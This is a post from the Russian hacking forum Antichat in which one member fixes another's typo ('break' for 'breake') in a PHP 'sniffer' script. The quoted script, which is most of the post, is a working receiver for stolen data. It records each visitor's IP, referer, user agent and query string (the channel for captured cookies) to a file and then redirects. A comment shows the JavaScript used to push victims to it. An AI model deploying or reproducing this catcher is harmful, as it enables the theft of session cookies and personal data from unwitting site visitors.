Показать сообщение отдельно

  #2  
Старый 31.03.2009, 23:17
rushter
Reservists Of Antichat - Level 6
Регистрация: 23.05.2008
Сообщений: 756
Провел на форуме:
9257858

Репутация: 979


Отправить сообщение для rushter с помощью ICQ
По умолчанию

Цитата:
Сообщение от Ershik  
Встраиваю снифер с помощью javascript
Проблема в том, что страница постоянно обновляется из-за header
Как можно заставить скрипт выполниться 1 раз?
При заходе, страница постоянно обновляется.
попробовал функцию "break" - не помогла.
PHP код:
<?
$data_filename 
"data.txt";
$max_entries 0// 0 для снятия лимита
require 'functions.php';
cleaner();
$sniffed['date'] = date("d.m.Y H:i");
$sniffed['ip'] = $_SERVER['REMOTE_ADDR'];
$sniffed['referer'] = htmlspecialchars(stripslashes(urldecode($_SERVER['HTTP_REFERER'])));
$sniffed['query'] = htmlspecialchars(stripslashes(urldecode($_SERVER['QUERY_STRING'])));
//$sniffed['query'] = ($_SERVER['QUERY_STRING']);
$sniffed['agent'] = htmlspecialchars(stripslashes($_SERVER['HTTP_USER_AGENT']));
$sniffed['real_ip'] = htmlspecialchars(stripslashes($_SERVER['HTTP_X_FORWARDED_FOR']));

$entrie serialize($sniffed);
$data = array();
$data_content get_file_content($data_filename);
if (
$data_content !== NULL$data unserialize($data_content);
$data[] = $entrie;
$data_content serialize($data);
put_file_content($data_filename$data_content);
header("Location:http://sait.ru/mail.php");
breake;
// Вызов: <script>window.location.href='http://site2.ru;</script>
?>
break;,а не breake;